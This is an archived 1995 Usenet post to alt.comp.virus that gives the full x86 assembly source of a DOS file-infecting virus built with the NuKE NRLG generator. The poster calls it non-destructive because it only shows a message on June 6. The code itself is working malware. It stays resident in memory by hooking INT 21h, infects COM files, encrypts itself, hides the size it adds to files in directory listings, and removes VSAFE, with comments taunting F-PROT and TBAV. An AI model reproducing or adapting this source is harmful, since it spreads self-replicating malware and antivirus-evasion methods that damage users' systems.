home *** CD-ROM | disk | FTP | other *** search
-
- Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!uwm.edu!news.moneng.mei.com!howland.reston.ans.net!nntp.crl.com!crl.crl.com!not-for-mail
- From: yojimbo@crl.com (Douglas Mauldin)
- Newsgroups: alt.comp.virus
- Subject: Re: Not-So-Destructive Virii...<post please>
- Date: 6 Feb 1995 21:44:13 -0800
- Organization: CRL Dialup Internet Access (415) 705-6060 [Login: guest]
- Lines: 450
- Message-ID: <3h71bd$js1@crl.crl.com>
- References: <3h5ubg$4s7@usenet.srv.cis.pitt.edu>
- NNTP-Posting-Host: crl.com
- X-Newsreader: TIN [version 1.2 PL2]
-
- ; Here's a simple, non-destructive virus created with NRLG (NuKE Randomic
- ; Life Generator). All it does is display a message on June 6th ( I believe).
-
- ;┌────────────────────────────────────────────────────────┐
- ;│ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. │ [NuKE] PoWeR
- ;│ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN │ [NuKE] WaReZ
- ;│ auToR: aLL [NuKE] MeMeBeRS │ [NuKE] PoWeR
- ;│ [NuKE] THe ReaL PoWeR! │ [NuKE] WaReZ
- ;│ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 │ [NuKE] PoWeR
- ;└────────────────────────────────────────────────────────┘
-
- .286
- code segment
- assume cs:code,ds:code
- org 100h
-
- start: CALL NEXT
-
- NEXT:
- mov di,sp ;take the stack pointer location
- mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
- sub bp,offset next ;subtract the large code off this code
- ;
- ;*******************************************************************
- ; #1 DECRYPT ROUTINE
- ;*******************************************************************
-
- cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
- je crypt2 ;yes! not decrypt
- ;----------------------------------------------------------
- mov cx,offset fin ;cx = large of virus
- lea di,[offset crypt]+ bp ;di = first byte to decrypt
- mov dx,1 ;dx = value for decrypt
- ;----------------------------------------------------------
- deci: ;deci = fuck label!
- ;----------------------------------------------------------
-
- inc byte ptr [di]
- sub word ptr [di],0381h
- inc di
- inc di
- ;----------------------------------------------------------
- jmp bye ;######## BYE BYE F-PROT ! ##########
- mov ah,4ch
- int 21h
- bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
- ;-----------------------------------------------------------
- mov ah,0bh ;######### BYE BYE TBAV ! ##########
- int 21h ;### (CANGE INT AT YOU PLEASURE) ###
- ;----------------------------------------------------------
- loop deci ;repeat please!
- ;
- ;*****************************************************************
- ; #2 DECRYPT ROUTINE
- ;*****************************************************************
- ;
- crypt: ;fuck label!
- ;
- mov cx,offset fin ;cx = large of virus
- lea di,[offset crypt2] + bp ;di = first byte to decrypt
- ;---------------------------------------------------------------
- deci2: ;
- xor byte ptr cs:[di],1 ;decrytion rutine
- inc di ;very simple...
- loop deci2 ;
- ;---------------------------------------------------------------
- crypt2: ;fuck label!
- ;
- MOV AX,0CACAH ;call to my resident interrup mask
- INT 21H ;for chek "I'm is residet?"
- CMP Bh,0CAH ;is equal to CACA?
- JE PUM2 ;yes! jump to runnig program
- call action
- ;*****************************************************************
- ; NRLG FUNCTIONS (SELECTABLE)
- ;*****************************************************************
-
- call ANTI_V
- ;****************************************************************
- ; PROCESS TO REMAIN RESIDENT
- ;****************************************************************
-
- mov ax,3521h
- int 21h ;store the int 21 vectors
- mov word ptr [bp+int21],bx ;in cs:int21
- mov word ptr [bp+int21+2],es ;
- ;---------------------------------------------------------------
- push cs ;
- pop ax ;ax = my actual segment
- dec ax ;dec my segment for look my MCB
- mov es,ax ;
- mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
- ;---------------------------------------------------------------
- push cs ;
- pop es ;
- sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
- sub bx,17 + offset fin ;and 100H for the PSP total
- mov ah,4ah ;used memory
- int 21h ;put the new value to MCB
- ;---------------------------------------------------------------
- mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
- mov ah,48h ;
- int 21h ;request the memory to fuck DOS!
- ;---------------------------------------------------------------
- dec ax ;ax=new segment
- mov es,ax ;ax-1= new segment MCB
- mov byte ptr es:[1],8 ;put '8' in the segment
- ;--------------------------------------------------------------
- inc ax ;
- mov es,ax ;es = new segment
- lea si,[bp + offset start] ;si = start of virus
- mov di,100h ;di = 100H (psp position)
- mov cx,offset fin - start ;cx = lag of virus
- push cs ;
- pop ds ;ds = cs
- cld ;mov the code
- rep movsb ;ds:si >> es:di
- ;--------------------------------------------------------------
- mov dx,offset virus ;dx = new int21 handler
- mov ax,2521h ;
- push es ;
- pop ds ;
- int 21h ;set the vectors
- ;-------------------------------------------------------------
- pum2: ;
- ;
- mov ah,byte ptr [cs:bp + real] ;restore the 3
- mov byte ptr cs:[100h],ah ;first bytes
- mov ax,word ptr [cs:bp + real + 1] ;
- mov word ptr cs:[101h],ax ;
- ;-------------------------------------------------------------
- mov ax,100h ;
- jmp ax ;jmp to execute
- ;
- ;*****************************************************************
- ;* HANDLER FOR THE INT 21H
- ;*****************************************************************
- ;
- VIRUS: ;
- ;
- cmp ah,4bh ;is a 4b function?
- je REPRODUCCION ;yes! jump to reproduce !
- cmp ah,11h
- je dir
- cmp ah,12h
- je dir
- dirsal:
- cmp AX,0CACAH ;is ... a caca function? (resident chek)
- jne a3 ;no! jump to a3
- mov bh,0cah ;yes! put ca in bh
- a3: ;
- JMP dword ptr CS:[INT21] ;jmp to original int 21h
- ret ;
- make db '[NuKE] N.R.L.G. AZRAEL'
- dir:
- jmp dir_s
- ;-------------------------------------------------------------
- REPRODUCCION: ;
- ;
- pushf ;put the register
- pusha ;in the stack
- push si ;
- push di ;
- push bp ;
- push es ;
- push ds ;
- ;-------------------------------------------------------------
- push cs ;
- pop ds ;
- mov ax,3524H ;get the dos error control
- int 21h ;interupt
- mov word ptr error,es ;and put in cs:error
- mov word ptr error+2,bx ;
- mov ax,2524H ;change the dos error control
- mov dx,offset all ;for my "trap mask"
- int 21h ;
- ;-------------------------------------------------------------
- pop ds ;
- pop es ;restore the registers
- pop bp ;
- pop di ;
- pop si ;
- popa ;
- popf ;
- ;-------------------------------------------------------------
- pushf ;put the registers
- pusha ;
- push si ;HEY! AZRAEL IS CRAZY?
- push di ;PUSH, POP, PUSH, POP
- push bp ;PLEEEEEAAAAAASEEEEEEEEE
- push es ;PURIFY THIS SHIT!
- push ds ;
- ;-------------------------------------------------------------
- mov ax,4300h ;
- int 21h ;get the file
- mov word ptr cs:[attrib],cx ;atributes
- ;-------------------------------------------------------------
- mov ax,4301h ;le saco los atributos al
- xor cx,cx ;file
- int 21h ;
- ;-------------------------------------------------------------
- mov ax,3d02h ;open the file
- int 21h ;for read/write
- mov bx,ax ;bx=handle
- ;-------------------------------------------------------------
- mov ax,5700h ;
- int 21h ;get the file date
- mov word ptr cs:[hora],cx ;put the hour
- mov word ptr cs:[dia],dx ;put the day
- and cx,word ptr cs:[fecha] ;calculate the seconds
- cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
- jne seguir ;yes! the file is infected!
- jmp cerrar ;
- ;------------------------------------------------------------
- seguir: ;
- mov ax,4202h ;move the pointer to end
- call movedor ;of the file
- ;------------------------------------------------------------
- push cs ;
- pop ds ;
- sub ax,3 ;calculate the
- mov word ptr [cs:largo],ax ;jmp long
- ;-------------------------------------------------------------
- mov ax,04200h ;move the pointer to
- call movedor ;start of file
- ;----------------------------------------------------------
- push cs ;
- pop ds ;read the 3 first bytes
- mov ah,3fh ;
- mov cx,3 ;
- lea dx,[cs:real] ;put the bytes in cs:[real]
- int 21h ;
- ;----------------------------------------------------------
- cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
- jne er1 ;yes! is a EXE... fuckkk!
- ;----------------------------------------------------------
- jmp cerrar
- er1:
- ;----------------------------------------------------------
- mov ax,4200h ;move the pointer
- call movedor ;to start fo file
- ;----------------------------------------------------------
- push cs ;
- pop ds ;
- mov ah,40h ;
- mov cx,1 ;write the JMP
- lea dx,[cs:jump] ;instruccion in the
- int 21h ;fist byte of the file
- ;----------------------------------------------------------
- mov ah,40h ;write the value of jmp
- mov cx,2 ;in the file
- lea dx,[cs:largo] ;
- int 21h ;
- ;----------------------------------------------------------
- mov ax,04202h ;move the pointer to
- call movedor ;end of file
- ;----------------------------------------------------------
- push cs ;
- pop ds ;move the code
- push cs ;of my virus
- pop es ;to cs:end+50
- cld ;for encrypt
- mov si,100h ;
- mov di,offset fin + 50 ;
- mov cx,offset fin - 100h ;
- rep movsb ;
- ;----------------------------------------------------------
- mov cx,offset fin
- mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
- enc: ;
- xor byte ptr cs:[di],1 ;encrypt the virus
- inc di ;code
- loop enc ;
- ;---------------------------------------------------------
- mov cx,offset fin
- mov di,offset fin + 50 + (offset crypt - offset start) ;virus
- mov dx,1
- enc2: ;
-
- add word ptr [di],0381h
- dec byte ptr [di]
- inc di
- inc di ;the virus code
- loop enc2 ;
- ;--------------------------------------------
- mov ah,40h ;
- mov cx,offset fin - offset start ;copy the virus
- mov dx,offset fin + 50 ;to end of file
- int 21h ;
- ;----------------------------------------------------------
- cerrar: ;
- ;restore the
- mov ax,5701h ;date and time
- mov cx,word ptr cs:[hora] ;file
- mov dx,word ptr cs:[dia] ;
- or cx,word ptr cs:[fecha] ;and mark the seconds
- int 21h ;
- ;----------------------------------------------------------
- mov ah,3eh ;
- int 21h ;close the file
- ;----------------------------------------------------------
- pop ds ;
- pop es ;restore the
- pop bp ;registers
- pop di ;
- pop si ;
- popa ;
- popf ;
- ;----------------------------------------------------------
- pusha ;
- ;
- mov ax,4301h ;restores the atributes
- mov cx,word ptr cs:[attrib] ;of the file
- int 21h ;
- ;
- popa ;
- ;----------------------------------------------------------
- pushf ;
- pusha ; 8-( = f-prot
- push si ;
- push di ; 8-( = tbav
- push bp ;
- push es ; 8-) = I'm
- push ds ;
- ;----------------------------------------------------------
- mov ax,2524H ;
- lea bx,error ;restore the
- mov ds,bx ;errors handler
- lea bx,error+2 ;
- int 21h ;
- ;----------------------------------------------------------
- pop ds ;
- pop es ;
- pop bp ;restore the
- pop di ;resgisters
- pop si ;
- popa ;
- popf ;
- ;----------------------------------------------------------
- JMP A3 ;jmp to orig. INT 21
- ;
- ;**********************************************************
- ; SUBRUTINES AREA
- ;**********************************************************
- ;
- movedor: ;
- ;
- xor cx,cx ;use to move file pointer
- xor dx,dx ;
- int 21h ;
- ret ;
- ;----------------------------------------------------------
- all: ;
- ;
- XOR AL,AL ;use to set
- iret ;error flag
-
- ;***********************************************************
- ; DATA AREA
- ;***********************************************************
- largo dw ?
- jump db 0e9h
- real db 0cdh,20h,0
- hora dw ?
- dia dw ?
- attrib dw ?
- int21 dd ?
- error dd ?
-
- ;---------------------------------
- action: ;Call label
- MOV AH,2AH ;
- INT 21H ;get date
- CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day?
- JE cont ;nop! fuck ret
- cmp byte ptr cs:[action_dia+bp],32 ;
- jne no_day ;
- cont: ;
- cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month?
- je set ;
- cmp byte ptr cs:[action_mes+bp],13 ;
- jne NO_DAY ;nop! fuck ret
- set: ;
- mov AH,9 ;yeah!!
- MOV DX,OFFSET PAO ;print my text!
- INT 21H ;now!
- INT 20H ;an finsh te program
- NO_DAY: ;label to incorrect date
- ret ;return from call
- ;---------------------------------
-
-
- PAO:
- DB 10,13,'Congratulations! You Have Been infected by VooDoo... Compliments of HeadHunter ','$'
-
- ;---------------------------------
- ANTI_V: ;
- MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY
- MOV DX,5945H ;
- INT 21H ;
- ret ;
- ;---------------------------------
-
- ;*****************************************************
- dir_s:
- pushf
- push cs
- call a3 ;Get file Stats
- test al,al ;Good FCB?
- jnz no_good ;nope
- push ax
- push bx
- push es
- mov ah,51h ;Is this Undocmented? huh...
- int 21h
- mov es,bx
- cmp bx,es:[16h]
- jnz not_infected
- mov bx,dx
- mov al,[bx]
- push ax
- mov ah,2fh ;Get file DTA
- int 21h
- pop ax
- inc al
- jnz fcb_okay
- add bx,7h
- fcb_okay: mov ax,es:[bx+17h]
- and ax,1fh ;UnMask Seconds Field
- xor al,byte ptr cs:fechad
- jnz not_infected
- and byte ptr es:[bx+17h],0e0h
- sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
- sbb es:[bx+1fh],ax
- not_infected:pop es
- pop bx
- pop ax
- no_good: iret
- ;********************************************************************
- ; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
- ;*********************************************************************
-
- action_dia Db 06H ;day for the action
- action_mes Db 06H ;month for the action
- FECHA DW 01eH ;Secon for mark
- FECHAd Db 01eH ;Secon for mark dir st
- fin:
- code ends
- end start
-
-
- --
- Eric "Mad Dog" Kilby maddog@ccs.neu.edu
- The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
- Student at the Northeatstern University College of Computer Science
- "I Can't Believe It's Not Butter"
-
-